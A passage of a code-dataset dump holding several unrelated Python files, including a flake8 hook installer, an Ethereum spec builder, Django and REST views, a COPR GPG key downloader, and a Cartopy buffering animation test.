if not c.has_option('flake8', 'strict'):\n c.set('flake8', 'strict', os.getenv('FLAKE8_STRICT', False))\n\n c.write(open(path, 'w+'))\n\n\ndef install_hook():\n vcs = find_vcs()\n\n if not vcs:\n p = get_parser()\n sys.stderr.write('Error: could not find either a git or mercurial '\n 'directory. Please re-run this in a proper '\n 'repository.')\n p.print_help()\n sys.exit(1)\n\n status = 0\n if 'git' in vcs:\n with open(vcs, 'w+') as fd:\n fd.write(git_hook_file)\n os.chmod(vcs, 744)\n elif 'hg' in vcs:\n _install_hg_hook(vcs)\n else:\n status = 1\n\n sys.exit(status)\n","sub_path":"flake8/hooks.py","file_name":"hooks.py","file_ext":"py","file_size_in_byte":3812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"61464889","text":"import re\nfrom function_puller import (\n get_spec,\n SpecObject,\n)\nfrom argparse import ArgumentParser\nfrom typing import (\n Dict,\n Optional,\n)\n\n\nPHASE0_IMPORTS = '''from typing import (\n Any, Dict, Set, Sequence, Tuple, Optional\n)\n\nfrom dataclasses import (\n dataclass,\n field,\n)\n\nfrom eth2spec.utils.ssz.ssz_impl import (\n hash_tree_root,\n signing_root,\n)\nfrom eth2spec.utils.ssz.ssz_typing import (\n boolean, Container, List, Vector, uint64,\n Bytes1, Bytes4, Bytes8, Bytes32, Bytes48, Bytes96, Bitlist, Bitvector,\n)\nfrom eth2spec.utils.bls import (\n bls_aggregate_signatures,\n bls_aggregate_pubkeys,\n bls_verify,\n bls_sign,\n)\n\nfrom eth2spec.utils.hash_function import hash\n'''\nPHASE1_IMPORTS = '''from typing import (\n Any, Dict, Set, Sequence, MutableSequence, NewType, Tuple, Union,\n)\nfrom math import (\n log2,\n)\n\nfrom dataclasses import (\n dataclass,\n field,\n)\n\nfrom eth2spec.utils.ssz.ssz_impl import (\n hash_tree_root,\n signing_root,\n is_zero,\n)\nfrom eth2spec.utils.ssz.ssz_typing import (\n BasicValue, Elements, BaseBytes, BaseList, SSZType,\n Container, List, Vector, Bytes, BytesN, Bitlist, Bitvector, Bits,\n Bytes1, Bytes4, Bytes8, Bytes32, Bytes48, Bytes96,\n uint64, bit, boolean, byte,\n)\nfrom eth2spec.utils.bls import (\n bls_aggregate_pubkeys,\n bls_verify,\n bls_verify_multiple,\n bls_signature_to_G2,\n)\n\nfrom eth2spec.utils.hash_function import hash\n\n\nSSZVariableName = str\nGeneralizedIndex = NewType('GeneralizedIndex', int)\n'''\nSUNDRY_CONSTANTS_FUNCTIONS = '''\ndef ceillog2(x: uint64) -> int:\n return (x - 1).bit_length()\n'''\nSUNDRY_FUNCTIONS = '''\n# Monkey patch hash cache\n_hash = hash\nhash_cache: Dict[bytes, Hash] = {}\n\n\ndef get_eth1_data(distance: uint64) -> Hash:\n return hash(distance)\n\n\ndef hash(x: bytes) -> Hash:\n if x not in hash_cache:\n hash_cache[x] = Hash(_hash(x))\n return hash_cache[x]\n\n\n# Monkey patch validator compute committee code\n_compute_committee = compute_committee\ncommittee_cache: Dict[Tuple[Hash, Hash, int, int], Sequence[ValidatorIndex]] = {}\n\n\ndef compute_committee(indices: Sequence[ValidatorIndex], # type: ignore\n seed: Hash,\n index: int,\n count: int) -> Sequence[ValidatorIndex]:\n param_hash = (hash(b''.join(index.to_bytes(length=4, byteorder='little') for index in indices)), seed, index, count)\n\n if param_hash not in committee_cache:\n committee_cache[param_hash] = _compute_committee(indices, seed, index, count)\n return committee_cache[param_hash]\n\n\n# Access to overwrite spec constants based on configuration\ndef apply_constants_preset(preset: Dict[str, Any]) -> None:\n global_vars = globals()\n for k, v in preset.items():\n if k.startswith('DOMAIN_'):\n global_vars[k] = DomainType(v) # domain types are defined as bytes in the configs\n else:\n global_vars[k] = v\n\n # Deal with derived constants\n global_vars['GENESIS_EPOCH'] = compute_epoch_at_slot(GENESIS_SLOT)\n\n # Initialize SSZ types again, to account for changed lengths\n init_SSZ_types()\n'''\n\n\ndef remove_for_phase1(functions: Dict[str, str]):\n for key, value in functions.items():\n lines = value.split(\"\\n\")\n lines = filter(lambda s: \"[to be removed in phase 1]\" not in s, lines)\n functions[key] = \"\\n\".join(lines)\n\n\ndef strip_comments(raw: str) -> str:\n comment_line_regex = re.compile(r'^\\s+# ')\n lines = raw.split('\\n')\n out = []\n for line in lines:\n if not comment_line_regex.match(line):\n if ' #' in line:\n line = line[:line.index(' #')]\n out.append(line)\n return '\\n'.join(out)\n\n\ndef objects_to_spec(functions: Dict[str, str],\n custom_types: Dict[str, str],\n constants: Dict[str, str],\n ssz_objects: Dict[str, str],\n inserts: Dict[str, str],\n imports: Dict[str, str],\n ) -> str:\n \"\"\"\n Given all the objects that constitute a spec, combine them into a single pyfile.\n \"\"\"\n new_type_definitions = (\n '\\n\\n'.join(\n [\n f\"class {key}({value}):\\n pass\\n\"\n for key, value in custom_types.items()\n ]\n )\n )\n for k in list(functions):\n if \"ceillog2\" in k:\n del functions[k]\n functions_spec = '\\n\\n'.join(functions.values())\n for k in list(constants.keys()):\n if k.startswith('DOMAIN_'):\n constants[k] = f\"DomainType(({constants[k]}).to_bytes(length=4, byteorder='little'))\"\n if k == \"BLS12_381_Q\":\n constants[k] += \" # noqa: E501\"\n constants_spec = '\\n'.join(map(lambda x: '%s = %s' % (x, constants[x]), constants))\n ssz_objects_instantiation_spec = '\\n\\n'.join(ssz_objects.values())\n ssz_objects_reinitialization_spec = (\n 'def init_SSZ_types() -> None:\\n global_vars = globals()\\n\\n '\n + '\\n\\n '.join([strip_comments(re.sub(r'(?!\\n\\n)\\n', r'\\n ', value[:-1]))\n for value in ssz_objects.values()])\n + '\\n\\n'\n + '\\n'.join(map(lambda x: ' global_vars[\\'%s\\'] = %s' % (x, x), ssz_objects.keys()))\n )\n spec = (\n imports\n + '\\n\\n' + new_type_definitions\n + '\\n' + SUNDRY_CONSTANTS_FUNCTIONS\n + '\\n\\n' + constants_spec\n + '\\n\\n\\n' + ssz_objects_instantiation_spec\n + '\\n\\n' + functions_spec\n + '\\n' + SUNDRY_FUNCTIONS\n + '\\n\\n' + ssz_objects_reinitialization_spec\n + '\\n'\n )\n # Handle @inserts\n for key, value in inserts.items():\n spec = re.sub('[ ]*# %s\\\\n' % key, value, spec)\n return spec\n\n\ndef combine_functions(old_functions: Dict[str, str], new_functions: Dict[str, str]) -> Dict[str, str]:\n for key, value in new_functions.items():\n old_functions[key] = value\n return old_functions\n\n\ndef combine_constants(old_constants: Dict[str, str], new_constants: Dict[str, str]) -> Dict[str, str]:\n for key, value in new_constants.items():\n old_constants[key] = value\n return old_constants\n\n\nignored_dependencies = [\n 'bit', 'boolean', 'Vector', 'List', 'Container', 'Hash', 'BLSPubkey', 'BLSSignature', 'Bytes', 'BytesN'\n 'Bytes1', 'Bytes4', 'Bytes32', 'Bytes48', 'Bytes96', 'Bitlist', 'Bitvector',\n 'uint8', 'uint16', 'uint32', 'uint64', 'uint128', 'uint256',\n 'bytes', 'byte', 'BytesN' # to be removed after updating spec doc\n]\n\n\ndef dependency_order_ssz_objects(objects: Dict[str, str], custom_types: Dict[str, str]) -> None:\n \"\"\"\n Determines which SSZ Object is dependent on which other and orders them appropriately\n \"\"\"\n items = list(objects.items())\n for key, value in items:\n dependencies = []\n for line in value.split('\\n'):\n if not re.match(r'\\s+\\w+: .+', line):\n continue # skip whitespace etc.\n line = line[line.index(':') + 1:] # strip of field name\n if '#' in line:\n line = line[:line.index('#')] # strip of comment\n dependencies.extend(re.findall(r'(\\w+)', line)) # catch all legible words, potential dependencies\n dependencies = filter(lambda x: '_' not in x and x.upper() != x, dependencies) # filter out constants\n dependencies = filter(lambda x: x not in ignored_dependencies, dependencies)\n dependencies = filter(lambda x: x not in custom_types, dependencies)\n for dep in dependencies:\n key_list = list(objects.keys())\n for item in [dep, key] + key_list[key_list.index(dep)+1:]:\n objects[item] = objects.pop(item)\n\n\ndef combine_ssz_objects(old_objects: Dict[str, str], new_objects: Dict[str, str], custom_types) -> Dict[str, str]:\n \"\"\"\n Takes in old spec and new spec ssz objects, combines them,\n and returns the newer versions of the objects in dependency order.\n \"\"\"\n for key, value in new_objects.items():\n if key in old_objects:\n # remove trailing newline\n old_objects[key] = old_objects[key]\n # remove leading variable name\n value = re.sub(r'^class [\\w]*\\(Container\\):\\n', '', value)\n old_objects[key] = old_objects.get(key, '') + value\n dependency_order_ssz_objects(old_objects, custom_types)\n return old_objects\n\n\n# inserts are handeled the same way as functions\ncombine_inserts = combine_functions\n\n\ndef combine_spec_objects(spec0: SpecObject, spec1: SpecObject) -> SpecObject:\n \"\"\"\n Takes in two spec variants (as tuples of their objects) and combines them using the appropriate combiner function.\n \"\"\"\n functions0, custom_types0, constants0, ssz_objects0, inserts0 = spec0\n functions1, custom_types1, constants1, ssz_objects1, inserts1 = spec1\n functions = combine_functions(functions0, functions1)\n custom_types = combine_constants(custom_types0, custom_types1)\n constants = combine_constants(constants0, constants1)\n ssz_objects = combine_ssz_objects(ssz_objects0, ssz_objects1, custom_types)\n inserts = combine_inserts(inserts0, inserts1)\n return functions, custom_types, constants, ssz_objects, inserts\n\n\ndef build_phase0_spec(phase0_sourcefile: str, fork_choice_sourcefile: str,\n v_guide_sourcefile: str, outfile: str=None) -> Optional[str]:\n phase0_spec = get_spec(phase0_sourcefile)\n fork_choice_spec = get_spec(fork_choice_sourcefile)\n v_guide = get_spec(v_guide_sourcefile)\n spec_objects = phase0_spec\n for value in [fork_choice_spec, v_guide]:\n spec_objects = combine_spec_objects(spec_objects, value)\n spec = objects_to_spec(*spec_objects, PHASE0_IMPORTS)\n if outfile is not None:\n with open(outfile, 'w') as out:\n out.write(spec)\n return spec\n\n\ndef build_phase1_spec(phase0_beacon_sourcefile: str,\n phase0_fork_choice_sourcefile: str,\n merkle_proofs_sourcefile: str,\n phase1_custody_sourcefile: str,\n phase1_shard_sourcefile: str,\n phase1_beacon_misc_sourcefile: str,\n outfile: str=None) -> Optional[str]:\n all_sourcefiles = (\n phase0_beacon_sourcefile,\n phase0_fork_choice_sourcefile,\n merkle_proofs_sourcefile,\n phase1_custody_sourcefile,\n phase1_shard_sourcefile,\n phase1_beacon_misc_sourcefile,\n )\n all_spescs = [get_spec(spec) for spec in all_sourcefiles]\n for spec in all_spescs:\n remove_for_phase1(spec[0])\n spec_objects = all_spescs[0]\n for value in all_spescs[1:]:\n spec_objects = combine_spec_objects(spec_objects, value)\n spec = objects_to_spec(*spec_objects, PHASE1_IMPORTS)\n if outfile is not None:\n with open(outfile, 'w') as out:\n out.write(spec)\n return spec\n\n\nif __name__ == '__main__':\n description = '''\nBuild the specs from the md docs.\nIf building phase 0:\n 1st argument is input /core/0_beacon-chain.md\n 2nd argument is input /core/0_fork-choice.md\n 3rd argument is input /core/0_beacon-chain-validator.md\n 4th argument is output spec.py\n\nIf building phase 1:\n 1st argument is input /core/0_beacon-chain.md\n 2nd argument is input /core/0_fork-choice.md\n 3rd argument is input /light_client/merkle_proofs.md\n 4th argument is input /core/1_custody-game.md\n 5th argument is input /core/1_shard-data-chains.md\n 6th argument is input /core/1_beacon-chain-misc.md\n 7th argument is output spec.py\n'''\n parser = ArgumentParser(description=description)\n parser.add_argument(\"-p\", \"--phase\", dest=\"phase\", type=int, default=0, help=\"Build for phase #\")\n parser.add_argument(dest=\"files\", help=\"Input and output files\", nargs=\"+\")\n\n args = parser.parse_args()\n if args.phase == 0:\n if len(args.files) == 4:\n build_phase0_spec(*args.files)\n else:\n print(\" Phase 0 requires spec, forkchoice, and v-guide inputs as well as an output file.\")\n elif args.phase == 1:\n if len(args.files) == 7:\n build_phase1_spec(*args.files)\n else:\n print(\n \" Phase 1 requires input files as well as an output file:\\n\"\n \"\\t core/phase_0: (0_beacon-chain.md, 0_fork-choice.md)\\n\"\n \"\\t light_client: (merkle_proofs.md)\\n\"\n \"\\t core/phase_1: (1_custody-game.md, 1_shard-data-chains.md, 1_beacon-chain-misc.md)\\n\"\n \"\\t and output.py\"\n )\n else:\n print(\"Invalid phase: {0}\".format(args.phase))\n","sub_path":"scripts/build_spec.py","file_name":"build_spec.py","file_ext":"py","file_size_in_byte":12618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"388459237","text":"import json\nimport os\n\nfrom django.conf import settings\nfrom django.db import transaction\n\nfrom meal.models import Product\n\n\ndef import_products():\n def get_value(value):\n if not value:\n return 0.0\n return value\n\n file_path = os.path.join(settings.BASE_DIR, 'migration_data', 'products.json')\n with open(file_path, 'r') as f:\n data = json.load(f)\n\n for product_dict in data:\n print(f\"Processing: {product_dict['name']}\")\n with transaction.atomic():\n p = Product.objects.create(\n name=get_value(product_dict['name']),\n company=None,\n calories=get_value(product_dict['calories']),\n protein=get_value(product_dict['protein']),\n carbohydrate=get_value(product_dict['carbohydrate']),\n fat=get_value(product_dict['fat']),\n )\n print(\"Created\")\n p.tags.add(product_dict['category'])\n print(f\"Tags: {','.join([product_dict['category']])}\")\n","sub_path":"scripts/products.py","file_name":"products.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"28670187","text":"from django.conf.urls import include, patterns, url\nfrom django.views.generic import TemplateView\n\nfrom core.content.views import *\n\nurlpatterns = [\n url(r'^list/$',\n ListContentView.as_view(),\n name='list'),\n\n url(r'^create/$',\n AddContentView.as_view(),\n name='create'),\n\n # url(r'^edit/(?P\\d+)/$',\n # ProjectEditView.as_view(),\n # name='edit'),\n\n url(r'^page/(?P.+)/$',\n PageView.as_view(),\n name='page'),\n]\n","sub_path":"core/content/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"538274128","text":"#!/usr/bin/env python\n\nfrom copr import create_client2_from_params\nimport requests\nimport argparse\nimport sys\nfrom argparse import RawTextHelpFormatter\n\nparser = argparse.ArgumentParser(description='Download GPG keys for COPR projects.', formatter_class=RawTextHelpFormatter)\nparser.add_argument('-f', '--file', action='store',\n help='store keys to a file instead of printing to stdout')\nparser.add_argument('--feurl', action='store', default='http://copr.fedorainfracloud.org/',\n help='use this url as baseurl to frontend instead of\\nhttp://copr.fedorainfracloud.org/')\nparser.add_argument('--beurl', action='store', default='https://copr-be.cloud.fedoraproject.org',\n help='use this url as baseurl to backend instead of\\nhttps://copr-be.cloud.fedoraproject.org')\nparser.add_argument('--user', action='store',\n help='only download gpg keys for projects of this user')\nparser.add_argument('--project', action='store',\n help='only download gpg keys for projects of this name')\nparser.add_argument('project_ids', metavar='ID', type=int, nargs='*',\n help='project id for which the gpg keys should be retrieved\\n(by default all)')\n\nargs = parser.parse_args()\n\nbe_url_tmpl = args.beurl+'/results/{username}/{projectname}/pubkey.gpg'\n\ncli = create_client2_from_params(root_url=args.feurl)\n\nif args.file:\n output_file = open(args.file, 'w')\nelse:\n output_file = None\n\ndef get_gpg(project):\n url = be_url_tmpl.format(**{'username': project.owner, 'projectname': project.name})\n r = requests.get(url)\n return r.text\n\ndef gpg_out(gpg):\n if output_file:\n output_file.write(gpg)\n else:\n print(gpg)\n\nif args.project_ids:\n for project_id in args.project_ids:\n project = cli.projects.get_one(project_id)\n gpg_out(get_gpg(project))\n sys.exit(0)\n\nkwargs = {}\n\nif args.user:\n kwargs['owner'] = args.user\nif args.project:\n kwargs['name'] = args.project\n\n_offset = 0\n_limit = 100\n\nwhile True:\n projects = cli.projects.get_list(offset=_offset, limit=_limit, **kwargs)\n if not projects:\n break\n for project in projects:\n gpg_out(get_gpg(project))\n _offset += _limit\n","sub_path":"copr-gpg-download.py","file_name":"copr-gpg-download.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"261005783","text":"class Solution:\n def searchRange(self, nums: List[int], target: int) -> List[int]:\n if len(nums) == 0: return [-1, -1]\n lbound, rbound = -1, -1\n\n # for the left one\n left, right = 0, len(nums) - 1\n while left + 1 < right:\n mid = left + (right - left) // 2\n if nums[mid] == target:\n right = mid\n elif nums[mid] < target:\n left = mid\n else:\n right = mid\n if nums[left] == target:\n lbound = left\n elif nums[right] == target:\n lbound = right\n else:\n return [-1, -1]\n\n # for the right one\n left, right = 0, len(nums) - 1\n while left + 1 < right:\n mid = left + (right - left) // 2\n if nums[mid] == target:\n left = mid # 这里不一样\n elif nums[mid] < target:\n left = mid\n else:\n right = mid\n if nums[right] == target: # 这里不一样，先right,\n rbound = right\n elif nums[left] == target:\n rbound = left\n else:\n return [-1, -1]\n\n return [lbound, rbound]\n\n","sub_path":"code/34. Find First and Last Position of Element in Sorted Array.py","file_name":"34. Find First and Last Position of Element in Sorted Array.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"81683111","text":"from rest_framework import generics, permissions, viewsets\nfrom rest_framework.response import Response\nfrom .permissions import IsOwner\nfrom .serializers import VideosSerializer\nfrom .models import Videos\n\n\nclass CreateView(generics.ListCreateAPIView):\n \"\"\"This class defines the GET & POST behavior of the api.\"\"\"\n\n serializer_class = VideosSerializer\n permission_classes = (permissions.IsAuthenticated, )\n\n def perform_create(self, serializer):\n \"\"\"Save the post data when creating a new Videos object.\"\"\"\n serializer.save(owner=self.request.user)\n\n def get_queryset(self):\n queryset = Videos.objects.all().order_by('-file_created_time')\n date = self.request.query_params.get('date', None)\n thumbnails_only = self.request.query_params.get(\n 'thumbnails_only', None)\n videos_only = self.request.query_params.get('videos_only', None)\n\n if thumbnails_only:\n if date:\n return queryset.filter(file_created_time__date=(date),\n is_thumbnail=True)\n else:\n return queryset.filter(is_thumbnail=True)\n elif videos_only:\n if date:\n return queryset.filter(file_created_time__date=(date),\n is_thumbnail=False)\n else:\n return queryset.filter(is_thumbnail=False)\n else:\n return queryset\n\n\nclass DetailsView(viewsets.ModelViewSet):\n queryset = Videos.objects.all().order_by('-file_created_time')\n serializer_class = VideosSerializer\n permission_classes = (permissions.IsAuthenticated, IsOwner)\n\n def retrieve(self, request, pk, *args, **kwargs):\n\n # Return the selected video and its adjacent videos.\n if request.GET.get('with_adjacent', 'false') == 'true':\n selected_vid = Videos.objects.get(id=pk)\n\n queryset = [selected_vid]\n\n try:\n vid_2 = selected_vid.get_next_by_file_created_time(\n is_thumbnail=False)\n\n queryset.insert(0, vid_2)\n except Exception as e:\n vid_2 = None\n print(\"Unable to get next vid: \" + str(e))\n\n try:\n vid_3 = selected_vid.get_previous_by_file_created_time(\n is_thumbnail=False)\n\n queryset.insert(2, vid_3)\n except Exception as e:\n vid_3 = None\n print(\"Unable to get previous vid: \" + str(e))\n\n return Response(VideosSerializer(queryset, many=True).data)\n # Return the video object associated with the selected thumbnail\n elif request.GET.get('get_associated_video', 'false') == 'true':\n selected_thumb = Videos.objects.get(id=pk)\n\n file_name = str(selected_thumb).replace(\".jpg\", \".mp4\")\n associated_vid = [Videos.objects.get(file_name=file_name)]\n\n return Response(VideosSerializer(associated_vid, many=True).data)\n\n # Return the selected Video object\n instance = self.get_object()\n serializer = self.get_serializer(instance)\n return Response(serializer.data)\n","sub_path":"secureDash/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"336546914","text":"#!/usr/bin/env python3\n\n# Use the proper idiom in the main module ...\n# NOTE: See https://docs.python.org/3.11/library/multiprocessing.html#the-spawn-and-forkserver-start-methods\nif __name__ == \"__main__\":\n # Import standard modules ...\n import os\n import shutil\n\n # Import special modules ...\n try:\n import cartopy\n except:\n raise Exception(\"\\\"cartopy\\\" is not installed; run \\\"pip install --user Cartopy\\\"\") from None\n try:\n import geojson\n geojson.geometry.Geometry.__init__.__defaults__ = (None, False, 12) # NOTE: See https://github.com/jazzband/geojson/issues/135#issuecomment-596509669\n except:\n raise Exception(\"\\\"geojson\\\" is not installed; run \\\"pip install --user geojson\\\"\") from None\n try:\n import matplotlib\n matplotlib.rcParams.update(\n {\n \"backend\" : \"Agg\", # NOTE: See https://matplotlib.org/stable/gallery/user_interfaces/canvasagg.html\n \"figure.dpi\" : 300,\n \"figure.figsize\" : (9.6, 7.2), # NOTE: See https://github.com/Guymer/misc/blob/main/README.md#matplotlib-figure-sizes\n \"font.size\" : 8,\n }\n )\n import matplotlib.pyplot\n except:\n raise Exception(\"\\\"matplotlib\\\" is not installed; run \\\"pip install --user matplotlib\\\"\") from None\n try:\n import numpy\n except:\n raise Exception(\"\\\"numpy\\\" is not installed; run \\\"pip install --user numpy\\\"\") from None\n try:\n import PIL\n import PIL.Image\n PIL.Image.MAX_IMAGE_PIXELS = 1024 * 1024 * 1024 # [px]\n except:\n raise Exception(\"\\\"PIL\\\" is not installed; run \\\"pip install --user Pillow\\\"\") from None\n try:\n import shapely\n import shapely.geometry\n except:\n raise Exception(\"\\\"shapely\\\" is not installed; run \\\"pip install --user Shapely\\\"\") from None\n\n # Import my modules ...\n try:\n import pyguymer3\n import pyguymer3.geo\n import pyguymer3.image\n import pyguymer3.media\n except:\n raise Exception(\"\\\"pyguymer3\\\" is not installed; you need to have the Python module from https://github.com/Guymer/PyGuymer3 located somewhere in your $PYTHONPATH\") from None\n\n print(f\"Testing \\\"{pyguymer3.__path__[0]}\\\" ...\")\n\n # **************************************************************************\n\n # Configure functions ...\n debug = False\n dist = 2.0e6 # [m]\n fill = 1.0 # [°]\n fillSpace = \"EuclideanSpace\"\n nang = 361 # [#]\n simp = -1.0 # [°]\n tol = 1.0e-10 # [°]\n\n # Make output directory ...\n if not os.path.exists(\"animateBufferPoint\"):\n os.mkdir(\"animateBufferPoint\")\n\n # **************************************************************************\n\n # Loop over latitude ...\n for lat in range(-90, +92, 2):\n # Loop over longitude ...\n for lon in range(-180, +182, 2):\n # Determine file names ...\n fname = f\"animateBufferPoint/lon={lon:+04d},lat={lat:+03d}.png\"\n jname = f\"animateBufferPoint/lon={lon:+04d},lat={lat:+03d}.geojson\"\n\n # Skip if both outputs already exist ...\n if os.path.exists(fname) and os.path.exists(jname):\n continue\n\n print(f\" > Making \\\"{jname}\\\" and \\\"{fname}\\\" ...\")\n\n # Create figure ...\n fg = matplotlib.pyplot.figure()\n\n # Create axis ...\n ax1 = fg.add_subplot(\n 2,\n 2,\n 1,\n projection = cartopy.crs.Robinson(),\n )\n\n # Configure axis ...\n ax1.set_global()\n pyguymer3.geo.add_coastlines(ax1, resolution = \"c\")\n pyguymer3.geo.add_map_background(ax1)\n pyguymer3.geo.add_horizontal_gridlines(\n ax1,\n locs = range(-90, 135, 45),\n )\n pyguymer3.geo.add_vertical_gridlines(\n ax1,\n locs = range(-180, 225, 45),\n )\n\n # Create axis ...\n ax2 = fg.add_subplot(\n 2,\n 2,\n 2,\n projection = cartopy.crs.Orthographic(\n central_longitude = lon,\n central_latitude = lat,\n ),\n )\n\n # Configure axis ...\n ax2.set_global()\n pyguymer3.geo.add_coastlines(ax2, resolution = \"c\")\n pyguymer3.geo.add_map_background(ax2)\n pyguymer3.geo.add_horizontal_gridlines(\n ax2,\n locs = range(-90, 135, 45),\n )\n pyguymer3.geo.add_vertical_gridlines(\n ax2,\n locs = range(-180, 225, 45),\n )\n\n # Create axis ...\n ax3 = fg.add_subplot(\n 2,\n 2,\n (3, 4),\n )\n\n # Configure axis ...\n ax3.grid()\n ax3.set_aspect(\"equal\")\n ax3.set_xlabel(\"Longitude [°]\")\n ax3.set_xlim(-180.0, +180.0)\n ax3.set_xticks(range(-180, 225, 45))\n ax3.set_ylabel(\"Latitude [°]\")\n ax3.set_ylim(-90.0, +90.0)\n ax3.set_yticks(range(-90, 135, 45))\n\n # Create point ...\n point = shapely.geometry.point.Point(lon, lat)\n\n # Buffer Point ...\n buff = pyguymer3.geo.buffer(\n point,\n dist,\n debug = debug,\n fill = fill,\n fillSpace = fillSpace,\n nang = nang,\n simp = simp,\n tol = tol,\n )\n\n # Plot Point thrice ...\n ax1.add_geometries(\n pyguymer3.geo.extract_polys(buff),\n cartopy.crs.PlateCarree(),\n edgecolor = (1.0, 0.0, 0.0, 1.0),\n facecolor = (1.0, 0.0, 0.0, 0.5),\n linewidth = 1.0,\n )\n ax2.add_geometries(\n pyguymer3.geo.extract_polys(buff),\n cartopy.crs.PlateCarree(),\n edgecolor = (1.0, 0.0, 0.0, 1.0),\n facecolor = (1.0, 0.0, 0.0, 0.5),\n linewidth = 1.0,\n )\n for poly in pyguymer3.geo.extract_polys(buff):\n coords = numpy.array(poly.exterior.coords) # [°]\n ax3.plot(\n coords[:, 0],\n coords[:, 1],\n color = (1.0, 0.0, 0.0, 1.0),\n )\n\n # Save GeoJSON ...\n with open(jname, \"wt\", encoding = \"utf-8\") as fObj:\n geojson.dump(\n buff,\n fObj,\n ensure_ascii = False,\n indent = 4,\n sort_keys = True,\n )\n\n # Configure figure ...\n fg.suptitle(f\"({lon:+.1f}°,{lat:+.1f}°) buffered by {0.001 * dist:,.1f}km\")\n fg.tight_layout()\n\n # Try to save figure ...\n # NOTE: There is a bug in one of Cartopy v0.21.1, MatPlotLib v3.7.1,\n # NumPy v1.24.1 or SciPy v1.10.1 which means that the\n # transform of the background image fails for certain\n # locations.\n try:\n fg.savefig(fname)\n matplotlib.pyplot.close(fg)\n except:\n print(\" Failed\")\n matplotlib.pyplot.close(fg)\n continue\n\n # Optimize PNG ...\n pyguymer3.image.optimize_image(fname, strip = True)\n\n # **************************************************************************\n\n # Initialize list ...\n frames = []\n\n # Loop over latitude ...\n for lat in range(-90, +92, 2):\n # Loop over longitude ...\n for lon in range(-180, +182, 2):\n # Determine file name ...\n frame = f\"animateBufferPoint/lon={lon:+04d},lat={lat:+03d}.png\"\n\n # Append it to the list ...\n frames.append(frame)\n\n print(\" > Making \\\"animateBufferPoint.mp4\\\" ...\")\n\n # Save 60fps MP4 ...\n vname = pyguymer3.media.images2mp4(\n frames,\n debug = debug,\n fps = 60.0,\n )\n shutil.move(vname, \"animateBufferPoint.mp4\")\n\n # Set heights ...\n # NOTE: By inspection, the PNG frames are 2,880 px wide.\n heights = [512, 1024, 2048] # [px]\n\n # Loop over heights ...\n for height in heights:\n print(f\" > Making \\\"animateBufferPoint{height:04d}px.mp4\\\" ...\")\n\n # Save 60fps MP4 ...\n vname = pyguymer3.media.images2mp4(\n frames,\n debug = debug,\n fps = 60.0,\n screenWidth = height,\n screenHeight = height,\n )\n shutil.move(vname, f\"animateBufferPoint{height:04d}px.mp4\")\n","sub_path":"tests/animateBufferPoint.py","file_name":"animateBufferPoint.py","file_ext":"py","file_size_in_byte":9388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"493622084","text":"from __future__ import print_function\n\nfrom openmdao.api import IndepVarComp, Component, Problem, Group\nimport random\nimport time\n\nclass Measuretime(Component):\n \"\"\" Calculates the elapsed time since the time in time.txt. \"\"\"\n\n def __init__(self):\n super(Measuretime, self).__init__()\n\n self.add_param('finished', val=0.0)\n self.add_output('time', val=0.0)\n\n def solve_nonlinear(self, params, unknowns, resids):\n \n try:\n with open('time.txt', 'r') as f_in:\n unknowns['time'] = time.time()-float(f_in.readline())\n except IOError:\n unknowns['time'] = -1.0\n \n \nif __name__ == \"__main__\":\n\n top = Problem()\n\n root = top.root = Group()\n \n root.add('ivc', IndepVarComp('x', 0.0))\n root.add('mt', Measuretime())\n\n root.connect('ivc.x', 'mt.finished')\n\n top.setup()\n top.run()\n\n print(top['mt.time'])\n ","sub_path":"models/PET_simple_proof-of-concept/measuretime.py","file_name":"measuretime.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"77123712","text":"import numpy as np\nfrom scipy.stats import uniform, gaussian_kde, norm\n\n\nclass ObserverSim:\n def __init__(self, T, dt, t_delay, g_values, sigma, mu, decisions, simulate=False, numsims=5000,\n **kwargs):\n \"\"\"\n Generates a pool of observers and, given decision bounds, produces simulated reaction times\n\n Parameters\n ----------\n T : Arbitrary choice of maximum time for a single trial\n dt : Length of a single timestep\n g_values : Values of g corresponding to rows of decision matrix\n sigma : Observation noise at current N\n mu : Mean of observations at current N\n decisions : Decision boundaries for the given conditions. Computed by BellmanUtil class\n numsims : Number of observers for each condition (absent, present) to simulate\n\n Outputs\n ----------\n self.dist_matrix : 2 x 2 matrix of distributions such that\n dist_matrix[i, j] is j decision for i truth. E.g. dist_matrix[0, 1] is the distribution\n of \\'present\\' responses when the target is absent\n self.rts_matrix : Response times categorized into the same matrix shape as dist_matrix.\n Each entry in the 2 x 2 matrix is a list of response times for that\n (condition, response) pair.\n\n \"\"\"\n if simulate:\n presence_list = [0] * numsims + [1] * numsims\n observer_responses = []\n for C in presence_list:\n observer_responses.append(self.simulate_observer(T, dt, t_delay, g_values, mu,\n sigma, decisions, C))\n\n response_info = np.array([(x[0], x[1]) for x in observer_responses])\n self.numsims = numsims\n self.rt_abs = response_info[:numsims]\n self.rt_pres = response_info[numsims:]\n self.dist_matrix, self.rts_matrix = self.get_kde_dist()\n else:\n self.decisions = decisions\n dg = g_values[1] - g_values[0]\n prob_grid_abs = self.fixed_trans_probs(sigma, mu, g_values, 0) * dg\n prob_grid_pres = self.fixed_trans_probs(sigma, mu, g_values, 1) * dg\n fractions_abs = self.fp_observer_diffusion(T, dt, sigma, mu, prob_grid_abs, g_values)\n fractions_pres = self.fp_observer_diffusion(T, dt, sigma, mu, prob_grid_pres, g_values)\n self.fractions = (fractions_abs, fractions_pres)\n\n def g_to_D(self, g_t):\n return np.log(g_t / (1 - 